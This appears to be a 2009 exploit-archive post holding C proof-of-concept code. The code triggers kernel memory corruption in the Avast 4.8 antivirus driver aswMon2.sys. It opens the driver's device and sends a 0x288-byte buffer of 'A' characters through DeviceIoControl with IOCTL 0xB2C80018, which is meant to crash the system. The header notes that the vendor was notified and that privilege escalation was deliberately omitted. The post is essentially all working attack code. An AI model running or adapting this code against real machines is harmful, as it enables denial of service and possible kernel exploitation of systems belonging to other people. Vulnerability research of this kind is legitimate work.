Author Giuseppe on 16 Nov 2009
Category: dos
Platform: windows
Hits: 46
- Code: Tout sélectionner
/ * Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption
*
* Author: Giuseppe 'Evilcry' Bonfa'
* E-Mail: evilcry _AT_ gmail _DOT_ com
* Website: http://evilcry.netsons.org
* http://evilcodecave.blogspot.com
* http://evilfingers.com
*
* Vendor: Notified
*
* No L.P.E. for kiddies
* /
#define WIN32_LEAN_AND_MEAN
#include < windows.h>
#include < stdio.h>
BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
{
WCHAR DeviceName[MAX_PATH];
HANDLE hDevice;
if ((GetVersion() & 0xFF) >= 5)
{
wcscpy(DeviceName, L"\\\\.\\Global\\");
}
else
{
wcscpy(DeviceName, L"\\\\.\\");
}
wcscat(DeviceName, DriverName);
printf("Opening.. %S\n", DeviceName);
hDevice = CreateFileW(DeviceName, GENERIC_READ |
GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFile() ERROR %d\n", GetLastError());
return FALSE;
}
*lphDevice = hDevice;
return TRUE;
}
int main()
{
HANDLE hDev = NULL;
DWORD Junk;
if(!OpenDevice(L"aswMon",&hDev))
{
printf("Unable to access aswMon");
return(0);
}
char *Buff = (char *)VirtualAlloc(NULL, 0x288, MEM_RESERVE |
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (Buff)
{
memset(Buff, 'A', 0x288);
DeviceIoControl(hDev,0xB2C80018,Buff,
0x288,Buff,0x288,&Junk,(LPOVERLAPPED)NULL);
printf("DeviceIoControl Executed..\n");
}
else
{
printf("VirtualAlloc() ERROR %d\n", GetLastError());
}
return(0);
}
Source ici!
